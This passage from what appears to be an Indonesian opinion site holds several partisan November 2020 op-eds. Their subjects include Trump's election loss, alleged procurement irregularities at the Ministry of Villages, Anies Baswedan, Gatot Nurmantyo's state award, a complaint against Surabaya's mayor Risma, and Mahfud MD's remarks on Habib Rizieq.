Saudi,” ucap Dubes Agus. Sebelumnya, ia juga mengungkapkan HRS pulang ke Indonesia setelah masuk daftar deportasi. Status itu terdapat di layar keempat dalam sistem komputer imigrasi Saudi. “Di layar ini juga tertulis dengan sangat jelas namanya masuk dalam 'tasjil murahhal', daftar orang dideportasi,” ungkap Dubes Agus. Mahfud sebelumnya juga mengatakan, kepulangan IB HRS itu untuk menghindar agar tidak dideportasi dari Arab Saudi akibat pelanggaran imigrasi. Penulis adalah Wartawan Senior FNN.co.id.

Donald Trump Petahana Yang Malang, Kalau Disini Pasti Menang

by Asyari Usman Jakarta FNN - Senin (09/11). Di mana-mana pemilu atau pilpres, calon petahana biasanya paling tenang dan percaya diri. Misalnya, di pilpres 2019, Pak Jokowi sebagai petahana selalu tenang. Dia sangat ‘confident’. Meskipun banyak orang yang memperkirakan lawan beliau, Prabowo Subianto, waktu itu akan menang mengingat dukungan rakyat yang gegap gempita. Jokowi tidak menunjukkan kekhawatiran sedikit pun. Bahkan, beliau senantiasa memperlihatkan “saya akan menang”. Dan ternyata dia “menang”. Dengan sangat mudah pula. Artinya, Jokowi benar-benar menunjukkan kualitas percaya dirinya sebagai petahana. Beliau bagaikan telah dibisikkan, entah oleh siapa, bahwa dia pasti menang. Barangkali, begitulah seharusnya sikap seorang “petahana sejati”. Tidak boleh khawatir. Tidak perlu pula cemas apalagi sampai paranoia. Tetapi, dalam pilpres 2020 di Amerika Serikat (AS), Donald Trump sebagai petahana tercatat paling rewel. Paling gelisah. Khususnya terhadap pelaksanaan pencoblosan dan penghitungan suara. Dia tidak percaya terhadap banyak hal. Tak percaya bahwa pilpres berjalan jujur dan adil. Dia menuduh ada pihak-pihak yang melakukan kecurangan. Trump menuduh ada penipuan dalam penghitungan suara. Sampai-sampai dia mengajukan gugatan agar penghitungan dihentikan di sejumlah negara bagian. Di negara bagian Montana, sebagai contoh, kubu Trump mengajukan permohonan kepada pengadilan agar menghentikan sistem pemungutan suara lewat pos. Trump mengatakan pengiriman surat suara lewat pos ke KPU akan mengundang kecurangan. Tetapi, Hakim Dana Christensen membuat putusan yang menolak permohonan kubu Trump. Bu Hakim menuduh kubu Trump menyebarkan ‘fiksi’ (hayalan) tentang bahaya pemungutan suara lewat pos. Intinya, Trump takut kalah. Dia tidak mau menerima kekalahan. Bagi Trump, kalau dia kalah berarti ada kecurangan. Dengan kata lain, pemilu tidak curang jika dia yang menang. Sebagai petahana, sikap curiga dan menuduh lawan melakukan kecurangan sangatlah menggelikan. Seharusnya, seorang petahana selalu memiliki keunggulan dibanding penantang. Petahana lazimnya mengendalikan seluruh lini kekuasaan. Seharusnya Trump bisa “menyiapkan” kemenangannya di pilpres 2020 ini. Tapi, itu tidak terjadi. Di bagian lain dunia, termasuk di Asia Tenggara, petahana bisa menyiapkan persentase kemenangan. Caranya sangat mudah. Gunakan kekuasaan dan uang. Para pejabat yang melaksanakan pemilu dan jajaran mereka disogok dengan duit besar. Di salah satu negara Asia Tenggara, KPU-nya berada di bawah komando petahana. Polisi negara itu digunakan oleh petahana untuk memenangi pilpres. Bahkan makamah pemutus pertikaian pemilu pun ‘taat’ kepada petahana. Nah, ini yang tidak dilakukan Trump sebagai petahana. Dia menyia-nyiakan posisi sebagai pemegang kekuasaan besar di AS. Sayang sekali. Tapi, bisa dipahami juga kenapa Trump tidak melakukan itu. Sebab, kalau dia coba-coba mendekati KPU Amerika, kepolisian (FBI), intelijen (CIA), dlsb, dengan tujuan agar institusi-institusi itu menjalankan misi untuk memenangkan Trump di pilpres 2020 ini, pasti akan bocor ke media. Kalau sudah bocor, selesailah dia. Karena, media di Amerika tidak seperti media di sini. Media Amerika pasti akan berteriak keras kalau petahana ketahuan melakukan tindakan yang mereka anggap sangat tercela itu. Kalau di sini, media bisa diajak bekerja sama dengan imbalan uang. Kalau tidak bisa dengan uang, pasti bisa dengan kekuasaan. Dengan intimidasi. Ditelefon atau didatangi oleh orang-orang dari berbagai instansi yang bisa melakukan apa saja. Orang-orang media pasti ketakutan. Yang sering lancar adalah kombinasi uang dan kekuasaan. Semua pihak senang. Sama-sama menguntungkan pribadi dan kelompok. Begitu kira-kira, Pak Trump. Kalau di sini, orang akan bilang Anda itu petahana yang bernasib sangat malang. Semua ada dalam genggangam tapi kalah pilpres. Kapan-kapan nanti, Anda coba ‘nyapres di sini. Bawa duit banyak-banyak. Nanti saya kasih tahu caranya. Pasti menang.[] (Penulis wartawan senior FNN.co.id)

Diduga, Dua Proyek Kemendes Dijadikan Bancakan!

by Mochamad Toha Surabaya FNN - Minggu (08/11). Di tengah-tengah Pandemi Covid-19, Center for Budget Analysis (CBA) menemukan dugaan tindak pidana korupsi di tubuh Kementerian Desa PDTT. Proyek yang dimaksud terkait sewa kendaraan roda 4 untuk operasional kantor pada Sekjen Kemendes PDTT Tahun Anggaran 2020. Proyek ini menghabiskan anggaran sebesar Rp 2,1 miliar. Berikut penjelasan temuan dari CBA tersebut. Sekjen Kemendes PDTT selaku Satuan Kerja awalnya menganggarkan untuk sewa kendaraan roda 4 operasional kantor sebesar Rp 2,2 miliar. Proyek ini dilakukan melalui tender sistem gugur dengan harga terendah. Proses tender dilaksanakan 12 tahapan mulai dari pengumuman pasca kualifikasi pada 12 Desember 2019 sampai penandatanganan kontrak pada 7 Januari 2020. Hasil tender ini, pihak Kemendes memenangkan PT Putra Tunas Harapan yang beralamat di Jl. Letjen Karjono Rt.002 Rw.006 Parakacanggah, Banjarnegara, Jawa Tengah. Nilai kontrak yang disepakati kedua belah pihak sebesar Rp 2.124.000.120. “CBA menduga proyek ini diwarnai “kongkalikong” antar oknum Kemendes dengan pihak swasta,” ujar Jajang Nurjaman, Koordinator Investigasi CBA. Hal ini terlihat dari beberapa modus. Pertama, pihak yang dimenangkan oleh Kemendes PDTT, yakni PT PTH, sebenarnya bukan peserta lelang dengan tawaran terendah karena berada diposisi 4. Padahal ada tiga perusahaan yang mengajukan nilai kontrak yang lebih efisien alias murah seperti yang diajukan PT Trans Pasific Global senilai Rp1.967.565.600, namun digugurkan oleh pihak Kemendes PDTT. Selanjutnya, hal ini tidak sesuai dengan tujuan tender awal yakni mencari tawaran seefisien mungkin agar bisa menghemat anggararan di tengah-tengah APBN yang sedang seret. “Sangat miris oknum Kemendes ini seperti tidak peduli dengan kesulitan negara dan warga yang lagi kena pandemik Covid-19 dengan dugaan permainan proyek,” tegas Jajang Nurjaman. Berdasarkan temuan di atas CBA mendorong Komisi Pemberantasan Korupsi (KPK) untuk membuka penyelidikan atas proyek sewa kendaraan roda 4 untuk operasional kantor Sekjen Kemendes PDTT. “Periksa pihak-pihak terkait seperti Pokja ULP serta Pejabat Pembuat Komitmen, selain itu menteri Desa Abdul Halim Iskandar perlu dipanggil untuk dimintai keterangan,” lanjutnya. Jaminan Hidup Kementerian Desa PDTT melalui Ditjen Dinas Nakertrans Provinsi Sulawesi Selatan pada 2020 menjalankan program bantuan jaminan hidup pangan non beras. Bantuan ini dijalankan dua tahap. Pertama penyaluran untuk 230 kepala keluarga, dan kedua untuk disalurkan kepada 60 kepala keluarga. Dalam pelaksanaan program bantuan ini, Center for Budget Analysis (CBA) menemukan dugaan penyimpangan anggaran, berikut penjelasannya. Terkait teknis program bantuan jaminan hidup pangan non beras pihak Kemendes PDTT mempercayakan kepada pihak swasta, untuk itu pada 24 Maret 2020 sampai 6 Mei 2020 dilaksanakan tender untuk menentukan pihak yang menjalankan proyek. Selanjutnya, pada 6 Mei 2020 pihak Kemendes PDTT memenangkan CV Integra Prima yang beralamat di Griya Mulya Asri 02 Blok B No 15 Kota Makassar, Sulawesi Selatan. Kedua belah pihak menandatangani kontrak dengan nilai Rp 1.293.960.000. CBA meragukan proses tender ini dijalankan secara jujur dan sesuai aturan undang-undang. Hal ini disebabkan, pertama dari 33 peserta tender hanya dua yang dicantumkan oleh pihak Kemendes PDTT untuk masuk tahap selanjutnya (pengajuan harga). Padahal seharusnya minimal ada 3 peserta tender yang harus dipilih yang selanjutnya dapat dipertimbangkan untuk mencari harga terendah. Kedua, tawaran yang diajukan CV IP sebenarnya lebih mahal dibandingkan tawaran yang diusulkan CV Mitra Barokah senilai Rp 1.212.165.000. Namun, meski tawaran lebih rendah, tetap digugurkan dengan keterangan masalah yang bersifat teknis atau persyaratan tambahan. Berdasarkan catatan di atas, menurut Jajang Nurjaman, CBA menduga program bantuan jaminan hidup pangan non beras yang dijalankan kemendes PDTT rawan penyelewengan dan diduga dibumbui “permainan”. Hal ini menjadi tambahan catatan bagi KPK untuk segera turun tangan, karena sudah banyak catatan buruk dugaan kongkalikong proyek di tubuh Kemendes PDTT. “Panggil dan periksa Pokja ULP serta PPK terkait, serta panggil Menteri Desa Abdul Halim Iskandar sebagai Kuasa pengguna anggaran,” tegas Jajang Nurjaman. Penulis adalah Wartawan Senior FNN.co.id

Anies Baswedan & Khabib Nurmagomedov

by Tony Rosyid Jakarta FNN – Ahad (08/11). Siapa yang tak kenal dengan Khabib Nurmagomedov. Petarung UFC asal Sildi Dagentan Rusia ini terkenal tak terkalahkan. Telah 29 kali pertarungan, semuanya dilalui dengan kemenangan. Terakhir, Nurmagomedov mengalahkan Justin Goethje dengan kuncian kaki yang membuat petarung asal Amerika itu pingsan. Dunia menyayangkan, karena Khabib memutuskan untuk pensiun dini. Petarung yang lahir pada 20 September 1988 ini mengumumkan undur diri setelah pertarungan terakhirnya melawan Justin Goethje. Octagon dan para penggemar tarung bebas kehilangan gairah. Habib mundur, karena itu permintaan ibunya. Begitu pengakunnya. Setelah ayah Khabib yang selama ini jadi pelatihnya meninggal karena Covid-19, sang ibu minta Khabib berhenti. Jangan bertarung tanpa ayahmu nak. Begitu pesannya. Khabib berjanji ke ibunya bahwa pertarungan melawan Justin Goethje itu yang terakhir. Dan Khabib memenuhi janji kepada ibunya. Banyak tokoh sukses karena bimbingan dan ketaatan pada fatwa ibunya. Salah satunya adalah Anies Baswedan, Gubernur DKI. Suatu hari Anies diundang untuk shalat subuh di masjid di bilangan Jakarta Pusat. Sesuai rencana, usai shalat subuh sang tokoh bicara ke Anies. Nis, kamu maju lawan Ahok ya? Kata tokoh itu menawarkan. Sepertinya hanya kamu yang bisa kalahkan Ahok. Anies kaget nggak karuan. Nggak pernah terpikirkan oleh Anies kalau ia akan maju di pilgub DKI. Dia hanya jawab dengan tenang, dan memang pembawaan mantan mendikbud ini selalu tenang, "saya harus bicara ke ibu dulu". Lewat beberapa hari, Anies pun bicara kepada ibunya, Prof. Aliyah Rasyid. Bahwa ia diminta maju di pilgub DKI. Apa jawab ibunya? "Kalau itu kemauan mereka (rakyat), ibu mengijinkan. Tetapi, kalau itu kemauan Anies, jangan! Ibu tidak mengijinkan", tegasnya. Dan, sebagaimana yang kita ketahui, Anies ikut kompetisi di pilgub DKI dan menang. Ini bukti adanya keinginan rakyat. Tiga tahun sudah Anies memimpin Ibu Kota. Ini semua, tak lepas dari keterlibatan dan ridho sang ibu. Disinilah titik kesamaan Anies dan Khabib Nurmagomedov. Meskipun keduanya berada pada profesi yang berbeda. Namun selalu taat pada fatwa sang tercinta. Selain taat pada fatwa Sang Ibu, titik persamaan antara Anies dan Khabib Nurmagomedov adalah pada sikap yang berdua yang rendah hatinya. Diantara ciri khas Khabib setelah meraih kemenangan selalu mengarahkan telunjuknya ke dada, lalu menggoyang-goyangkannya ke kanan dan ke kiri. Seolah ia memberi isyarat bahwa ini bukan kehebatanku. Bukan. Kemenangan ini bukan karena kehebatanku. Aku orang yang tak berdaya. Aku juga siapa-siapa. Kemudian Khabib mengarahkan jarinya ke atas. Seperti ia ingin memberi tahu bahwa yang terhebat dan terkuat itu Tuhan. Ialah Sang Pemilik Kemenangan yang sesungguhnya. Disisi lain, tak sedikit petarung yang memukul-mukul dadanya ketika meraih kemenangan. Menunjukkan kepada para penonton bahwa dirinya hebat. Dirinya jagoan. Sehingga dia petarung yang mampu menumbangkan setiap lawannya. Sikap sombong yang ditonjolkan. Tapi, Khabib tidak. Ia meyakinkan publik bahwa ia tidak hebat. Yang hebat itu Tuhan. Luar biasa. Mirip dengan Anies. Dalam banyak cerita yang beredar kepada orang-orang terdekatnya, Anies sering bicara tentang anugerah. Dalam banyak hal, kata Anies, yang tak pernah terpikirkan dan direncanakan sebelumnya. Tetapi Allah hadir dan menuntunnya. Suatu hari, hujan lebat di Jakarta. Begitu juga di wilayah Puncak Bogor. Debit air naik, baik karena hujan maupun kiriman. Jakarta banjir, otomatis. Siang hari, air laut surut. Cepat sekali. Tak seperti biasanya. Sehingga banjir segera kesedot ke laut. Ini tak wajar. Mestinya, air laut naik (terjadi rob) karena Jakarta baru saja ditimpa banjir. Ini unpredictable, kata Anies. Ini juga terjadi parlda peristiwa yang lain. Sejumlah halte bus Jakarta terbakar. Tepatnya, dibakar. Kabarnya, para pelaku pembakaran adalah orang-orang profesional. Siapa yang mengirim mereka? Bisa dilihat di video yang beredar. Kok badannya tegap-tegap, kata sejumlah orang. Para pengamat bilang, “ada skenario bahwa mereka ingin membakar nama baik Anies”. Dibakarnya halte busway seolah ingin mengirim kesan ke publik bahwa Anies nggak disukai buruh dan mahasiswa. Terbakarnya halte juga akan mengganggu anggaran Pemprov DKI di masa sulit akibat pandemi. Satu halte itu anggarannya Rp 25 miliar. Kali tiga yang dibakar. Cerdas! Kok ndelalah, kata orang Jawa, Anies diminta oleh Pangdam Jaya dan Kapolda Metro Jaya untuk menemui para mahasiswa yang sampai malam masih berada di area demo. Sebab, jika mereka tidak ditemui dan dipulangkan, rawan provokasi, lalu terjadi anarki dan berujung penangkapan. Situasi bisa semakin tidak semakin kondusif. Anies dianggap bisa menenangkan para mahasiswa itu. Maklum, mantan aktifis, mungkin dianggap tahu jiwa para aktifis. Dengan hadirnya Anies di tengah demonstran, maka stigmatisasi bahwa Anies tidak disukai mahasiswa dan buruh jadi hilang. Lagi-lagi, ini anugerah. Tak direncanakan. Bahkan tak ada dalam pikiran. Tetapi itu nyata dan terjadi. Kabarnya, banyak peristiwa serupa terjadi di DKI. Begitu info yang beredar. Pengakuan Anies ini menunjukkan kerendahan hatinya. Ada peran Yang Maha Atas. Karena itu, tak boleh arogan. Siapapun anda, pemimpin dimanapun, harus sadar bahwa arogansi hanya akan membuat anda jatuh. Dalam banyak penghargaan yang diterima Anies selama menjadi gubernur, sepupu Novel Baswedan ini selalu mengawali narasinya dengan ucapan alhamdulillah. Lalu ia bilang, "ini semua karena kolaborasi kerja para pegawai Pemprov DKI dan seluruh warga Jakarta. Ini hadiah untuk mereka". Pelajaran yang bisa kita ambil dari Khabib Nurmagimedov dan Anies Baswedan adalah bahwa ketaatan kepada ibu dan kerendahan hati akan membuka jalan kemudahan dan kemenangan. Siapapun yang melawan, apalagi dengan kesombongan, akan terkunci dalam kekalahan, seperti nasib Goethje dan McGregor. Jika Anies terus mampu menjaga kerendahan hatinya dalam bernarasi dan bersikap, ini akan membuat siapapun yang mencoba melawan dan menyerangnya akan mengalami kesulitan. Mereka terkunci oleh simpati dan dukungan rakyat terhadap cucu Abdurrahman Baswedan ini. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Gatot Bagusnya Tolak Bintang Mahaputera

by M Rizal Fadillah Bandung FNN – Ahad (08/11). Rencana pemerintah menganugerahkan Bintang Mahaputera kepada Jenderal TNI (Purn.) Gatot Nurmantyo disampaikan oleh Menko Polhukam Mahfud MD. Reaksi publik beragam mengenai rencana tersebut. Ada yang menilai wajar atas penganugerahan tersebut. Namun ada pula yang mewanti-wanti bahaya "suap politik" kepada tokoh kritis. Sebagai tokoh dan dedengkot Presidium Komite Aksi Menyelamatkan Indonesisa (KAMI), wajar saja jika Gatot disorot. KAMI dianggap sebagai "lawan politik paling tangguh" oleh Pemerintah. Terbukti dengan dahsyatnya upaya untuk menghambat, bahkan menghancurkan KAMI. Gangguan terhadap keberdaan KAMI itu dimulai dari gangguan dan hambatan pelaksanaan setiap Deklarasi KAMI di daerah, hingga kriminalisasi terhadap para petinggi KAMI. Berkaitan dengan rencana penganugerahan Bintang Mahaputra tersebut, dapat disikapi dengan berbagai kemungkinan. Pertama, Gatot Nurmantyo siap dan menerima sebagai kewajaran atas jasa-jasanya selama menjabat sebagai Panglima TNI. Dan atas penghargaan ini, Gatot lebih kompromistis dan berbaik-baik dengan Pemerintahan Jokowi. Hembusan tawaran Menteri jika reshuffle cukup menggiurkan. Demi bangsa dan negara alasannya. Gatot bisa saja kalah dan berubah sikap. Kedua, menerima dan meyakini bahwa penganugerahan bukan hadiah dari Jokowi semata, tetapi dari negara. Meskipun demikian, sikap kritis Gatot kepada Pemerintah tidaklah berubah. Ini adalah sikap moderat dan masih memegang prinsip. Bintang jasa adalah bagian dari "kejaran" prajurit yang menjalankan tugas. Kualifikasinya lazim dan biasa. Ketiga, Gatot menolak penganugerahan dalam makna kritik dan perlawanan. Sikap berbeda dan tampil dengan keyakinan bahwa rezim tak pantas untuk memberikan kepada Gatot. Rezim masih berlumuran dosa kepada rakyatnya. Penolakan adalah bentuk pengorbanan dan kepahlawanan. Inilah harapan sebagian rakyat kepada pemimpin yang berintegritas. Jenderal Gatot Nurmantyo salah satu diantara tiga Presidium KAMI, bersama dengan Profesor Din Syamsudin dan Profesor Rahmat Wahab. Gatot tengah diuji akan kualitas kepemimpinan dan kerakyatannya. Jika pilihan itu adalah yang ketiga, maka hal ini akan menjadi poin penting tambahan untuk Gatot cahaya bintang ke depan. Kepercayaan rakyat semakin bertambah. Untuk pilihan kedua, rakyat layak menilai bahwa Gatot adalah tokoh yang biasa-biasa saja. Gatot dapat melangkah bahagia karena banyak medali di dadanya. Petinggi yang memang layak untuk dihormati. Bukan tipikal petinggi picisan dan recehan yang banyak kita saksikan hari ini. Nah, andaikan yang pertama menjadi pilihan Gatot, maka sang Jenderal adalah pemimpin kardus, picisan, odong-odong, kaleng-kaleng dan beleng-beleng. Pupus sudah harapan ke depan. Rakyat kecewa lalu melambaikan tangan sambil berseru "Sayonara, Jenderal !". Penganugerahan Bintang Mahaputra kepada gatot, yang bersama-sama dengan Luhut Binsar Panjaitan dan Arief Hidayat sebenarnya bukan hal yang istimewa. Karenanya Gatot Nurmantyo sebaiknya menolak saja. Tidak menjadi hina atau miskin tanpa menerima dan tidak menjadi lebih mulia atau kaya dengan anugerah bintang itu. Pemimpin hebat itu ibarat mutiara, yang kalau dilempar ke lumpur. Namun ketika diangkat dari lumpur tebal sekalipun, tetap saja mutiara yang mengkilap. Berjuanglah dengan ikhlas dan penuh dedikasi demi negeri. Nama baik yang dikenang bukan karena bintang yang dikalungkan. Tetapi karena amal nyata yang bermakna bagi agama, bangsa, dan negara. Pengorbanan jiwa dan raga demi cita-cita mulia menggapai tujuan mulia berbangsa dan bernegara. Tolaklah Bintang Mahaputera dengan kalimah yang baik. Rakyat dan bangsa Indonesia masih prihatin dan lebih butuh perhatian. Lupakan dulu jasa kemarin untuk kerja keras dan pengorbanan ke depan. Tunda seremonial bersenyum-ria menerima pengalungan bintang dari Pak Presiden saat rakyatnhya masih miskin, sakit, tersisihkan dan mudah dikriminalisasi karena arogansi kekuasaan. Aktivis yang terzalimi dengan ditangkap-tangkapin dengan semena-mena seperti teroris dan bandar narkoba. Keadilan yang masih tercabik-cabik. Pahlawan terdahulu sedang menunggu pahlawan-pahlawan baru kemudian. Termasuk anda kah orangnya atau bukan ? Penulis Pemerhati Politik dan Kebangsaan.

Risma Sebut Eri Cahyadi “Anaknya”, KAI Sebagai Pembohongan!

by Mochamad Toha Surabaya FNN - Sabtu (07/11). Kongres Advokat Indonesia (KAI) Jawa Timur telah melaporan Walikota Surabaya Tri Rismaharini ke Ditreskrimum Polda Jatim, Senin (2/11/2020). Dalam aduannya, KAI Jatim menilai, Risma telah melakukan pembohongan publik. Selain itu, Risma dituding melakukan provokasi terhadap warga Surabaya. Dua pelanggaran ini dilakukan alumni Institut Teknologi 10 November (ITS) itu saat mengampanyekan Calon Walikota dan Wakil Walikota nomor urut 1 Eri Cahyadi-Armuji. “Pelanggaran hukum yang dilakukan Risma itu kami laporkan ke Ditreskrimum Polda Jatim, karena laporan terkait PKPU Pilkada 2020 ke Bawaslu dan Kemendagri tak digubris,” kata Ketua DPD KAI Jatim Abdul Malik usai melaporkan di Polda Jatim. “Sehingga kami lakukan pelaporan terkait pidana pembohongan publik dan provokasi yang dilakukan Risma terhadap masyarakat Surabaya,” lanjut Abdul Malik. Kebohongan publik yang dilakukan Risma, menurut dia, antara lain menyebut Cawali Eri Cahyadi sebagai anak. Faktanya mantan Kepala Bappeko Surabaya itu bukanlah anak dari Risma. Orang tua Eri namanya Urip Suwondo dan Mas Ayu Esa Aisyah. Seperti dikutip Bongkah.id, Selasa (3/11/2020), fakta itu diketahui semua warga Surabaya. Dengan menyebut Eri anaku, maka Risma secara hukum telah melakukan kebohongan publik. Selain itu, Abdul Malik juga menuding, kampanye yang dilakukan Risma tak memiliki izin cuti dari Gubernur Jatim Khofifah Indar Parawansa. Menurutnya, sebagai Walikota Surabaya, Risma harusnya mengajukan cuti terlebih dahulu agar bisa melakukan kampanye. “Izin cuti yang diajukan Risma hanya untuk tanggal 10 November saja. Jadi, saat kampanye pada tanggal 18 Oktober lalu, dia tidak sedang cuti,” ujarnya. Terkait adanya penjelasan Pelaksana Tugas (Plt) Kepala Badan Kesatuan Bangsa dan Politik (Bakesbangpol) Kota Surabaya Irvan Widyanto bahwa Walikota Risma sudah mengantongi izin dari Gubernur Jatim untuk melakukan kampanye? Malik menegaskan, hal tersebut layak dipertanyakan kebenarannya. Sebab informasi yang didapatnya, izin kampanye Risma hanya untuk tanggal 10 November 2020. Tak hanya itu saja, Malik juga mempermasalahkan sejumlah perkataan Risma yang dinilai provokatif. Dibuktikan dengan sebuah video yang beredar di masyarakat Surabaya. Risma menyebut jika Surabaya tidak dipimpin anaknya (Eri), maka Surabaya bisa hancur lebur. “Kalimat Risma itu sangat memprovokatif, provokator, dia bersikap seperti Tuhan. Nanti 10 tahun ini tidak dipimpin anaknya, nanti Surabaya ini akan hancur lebur,” ungkap Malik yang mengutip pernyataan Risma dalam video tersebut. “Selaku praktisi hukum, kalimat yang disampaikan Risma itu sangat tidak layak, tidak pantas diucapkan oleh walikota. Kalimat tersebut juga dapat diasumsikan sebuah ancaman dalam tanda petik,” tegas Malik. Karena itu, ia berharap kepolisian dapat memproses kasus ini sesuai hukum. Selain itu, juga meminta Bawaslu RI dan Kemendagri segera mengambil tindakan. “Saya berharap, saat dilakukan proses hukum di kepolisian, membuat Risma taat hukum,” ujarnya. “Sebab Bawaslu pusat sudah kita laporkan, Mendagri sudah kita laporkan. Gubernur sudah kita laporkan juga. Dan, informasi yang kami terima dari Mendagri, dalam waktu dekat ada tindak lanjutan dari OTODA,” lanjut Malik. Perlu dicatat, tuntutan hukum yang dilakukan KAI Jatim terhadap Walikota Risma tersebut terkait dengan agenda kampanye daring dari paslon Eri Cahyadi-Armuji bertema "Roadshow Online Berenerji" pada Minggu (18/10/2020) lalu. Dalam kampanye itu, Risma meminta warga Surabaya untuk memilih cawali Eri Cahyadi, Dia juga menjelekkan cawali lainnya (Mahfud Arifin). Selain itu, Risma selalu mengulang-ulang kalimat, bahwa Eri sebagai anaknya. “Dalam kampanye daring itu Risma melakukan kebohongan publik. Berkali-kali menyebut Eri itu sebagai anaknya. Bukan menyebut sebagai anak didiknya. Saya ini praktisi hukum, perbedaan kalimat itu secara hukum memiliki makna yang berbeda pula,” katanya. Pelanggaran yang dilakukan Risma pada 18 Oktober lalu, kata Malik, sebagai pelanggaran berat. Seharusnya Risma kena pidana kurungan, seperti yang dialami lurah Suhartono dari Kabupaten Mojokerto. Dia dihukum 2 bulan dan denda Rp 6 juta, karena menyambut Cawapres Sandiaga Uno pada saat Pilpres 2019 lalu. “Jika Risma beralasan kampanye itu dilakukan pada hari Minggu, Suhartono kena pidana pemilu lantaran ikut menyambut Sandiaga Uno pada hari Minggu. Kebetulan saya pengacara Suhartono dalam menghadapi proses hukum pidana pemilu itu,” ungkap Malik. “Jadi sudah ada yurisprudensi-nya bahwa Risma melakukan pelanggaran berat dan bisa kena hukuman penjara,” lanjut advokat senior tersebut. Menurut Praktisi Hukum Indra Priangkasa, Walikota Risma bukan hanya melanggar soal izin kampanye. Dia juga diduga menyalahgunakan wewenang, sebagaimana diatur dalam Pasal 71 ayat 1, 2, dan 3 PKPU Nomor 11 Tahun 2020. Sebab diantara peserta yang ikut siaran zoom itu, adalah UMKM binaan Pemkot Surabaya. “Di situ ada UMKM binaan, saya melihatnya Risma ingin menagih hutang budi atas bantuan yang diberikan Pemkot Surabaya pada para UMKM tersebut,” ungkap Malik. “Tagihan balas budi tersebut dilakukan Risma lewat ajakan untuk memenangkan paslon Eri-Armuji,” katanya. Pelanggar pasal 71 ayat 3, menurut Indra, wajib mendapatkan sanksi pidana jika memenuhi unsur. Apa yang dilakukan Risma, unsurnya sudah terpenuhi. Yakni sebagai kepala daerah, ada program yang dilakukan 6 bulan dari penetapan, ada yang diuntungkan dan dirugikan. Risma Takut? Ketika menjadi jurkam, posisi Risma itu hanya sebagai pengurus DPP PDIP. Bukan sebagai Walikota Surabaya. Karena itu, Risma tidak berhak melakukan tekanan terhadap masyarakat Surabaya yang menerima bantuan Pemkot Surabaya. Memaksa untuk memilih calon kepala daerah yang didukungnya dan diusung partainya. “Ini domain Bawaslu, maka pidana itu menjadi rekomendasi Bawaslu. Bawalsu harus menindak lanjuti, tidak boleh abai. “Selama ada bukti kongkrit dengan beberapa pertimbangan, tentu Bawaslu tidak semudah itu mengatakan tidak ada pelanggaran,” katanya. Sebelumnya, Pelaksana Tugas (Plt) Kepala Bakesbangpol Kota Surabaya, Irvan Widyanto memberikan klarifikasi. Menurutnya, Walikota Surabaya Tri Rismaharini telah mengajukan izin cuti kampanye saat “Roadshow Online Berenerji”, Minggu (18/10/2020). “Jadi, kegiatan kampanye Ibu Walikota sudah sesuai dengan prosedur. Sudah ada penjelasan tertulis dari Pemprov Jatim. Makanya tidak benar, jika Ibu Walikota melanggar aturan,” kata Irvan. Karena beliau telah melalui prosedur dan aturan yang ada. Apalagi kampanye yang dilakukan Ibu Walikota pada 18 Oktober 2020 tersebut adalah hari libur,” kata Irvan. Terkait dengan kegiatan kampanye Walikota Risma, ia telah mengajukan surat cuti Nomor: 850/9197/436.8.5/2020 pada 13 Oktober 2020 perihal permohonan izin cuti pada Gubernur Jatim. “Dan salah satunya adalah tanggal 18 Oktober 2020,” kata Irvan. Soal surat pengajuan cuti kampanye tersebut, lanjut Irvan, Gubernur Jatim telah menjawab melalui surat Nomor: 131/16267/011.2/2020 pada 15 Oktober 2020. Salah satu keterangan dalam surat itu adalah sesuai dengan PP Nomor 32 Tahun 2018 dan SE Mendagri Nomor: 273/487/SJ pada 21 Januari 2020, hari libur merupakan hari bebas untuk melakukan kampanye di luar ketentuan cuti kampanye. “Dengan jawaban dari Gubernur itu, kegiatan ibu walikota pada 18 Oktober 2020 tersebut tidak melanggar aturan karena pada hari libur yakni hari Minggu,” kata Irvan. Perlu diketahui Pilkada Surabaya 2020 diikuti paslon Walikota dan Wakil Walikota Surabaya Eri Cahyadi dan Armuji. Paslon nomor urut 1 ini diusung PDIP dan didukung PSI. Selain itu mereka juga mendapatkan tambahan kekuatan dari enam parpol non parlemen, yakni Partai Bulan Bintang (PBB), Partai Hanura, Partai Berkarya, PKPI, dan Partai Garuda. Sedangkan paslon Machfud Arifin-Mujiaman dengan nomor urut 2 diusung koalisi delapan partai, yakni PKB, PPP, PAN, Golkar, Gerindra, PKS, Demokrat dan Partai NasDem serta didukung partai non-parlemen yakni Partai Perindo. Adakah dukungan Walikota Risma yang berlebihan pada Eri Cahyadi hingga menyebut Eri sebagai “anaknya” karena takut jika rival Eri yang mantan Kapolda Jatim itu menang? Penulis adalah Wartawan Senior FNN.co.id

Mahfud MD Pun Ikut Membully Habib

by Asyari Usman Medan FNN - Sabtu (07/11). Perjuangan Habib untuk menegakkan keadilan dan kebenaran, sangatlah berat. Tapi, beliau tentu paham bahwa itu berat. Habib tidak surut. Beliau tetap memperjuangkan keadilan dan kebenaran itu. Akibatnya, sepanjang waktu Imam Besar itu dibully. Dicaci-maki. Difitnah macam-macam. Namun, Habib jalan terus dengan prinsipnya. Sampai akhirnya Menkopolhukam Mahfud MD pun ikut juga membully Habib. Itulah yang terjadi dalam wawancara dengan Ade Armando beberapa hari lalu (4/11/2020). Mahfud MD mengatakan hal yang jelek-jelek tentang Habib. Sangat kasar. Dia katakan Habib bukan orang suci. Padahal, Habib tidak pernah mengatakan dirinya orang suci. Dan dia katakan Habib mau pulang karena menghindarkan deportasi dari Arab Saudi. Singkatnya, yang keluar dari mulut Mahfud buruk-buruk semua. Katakanlah semua bully-an Mahfud itu benar. Tapi, Habib itu jelas lebih mulia dari Joko Tjandra (JT) yang berhasil melecehkan institusi Polri dan Kejaksaan Agung. JT sampai bisa menghancurkan sejumlah jenderal polisi. Dia juga mempermalukan Kejakgung. Bahkan, lewat bantuan seorang jaksa, JT nyaris berhasil membeli fatwa Mahkamah Agung (MA) agar dia bisa bebas. Saking malunya seluruh alam Kejakgung, gedungnya saja membakar diri sendiri dengan puntung rokok. Tak kuat lagi gedung itu menanggung malu. Tak sanggup lagi gedung itu menyaksikan kelakuan para penghuninya. Itulah Joko Tjandra. Dia hancurkan kredibilitas Kejakgung dan Polri setelah dia berhasil merampok uang negara ratusan miliar rupiah. JT juga sukses meruntuhkan reputasi pemerintah secara keseluruhan. Dengan modal duit, dia acak-acak negara ini sampai ke titik nadir. Dia kangkangi berbagai lembaga negara seperti Imigrasi dan Dukcapil. Dia jadikan orang-orang penting berpangkat tinggi seperti herder. Sangat menyedihkan perbuatan JT itu bagi orang-orang yang masih memiliki nurani dan harga diri. 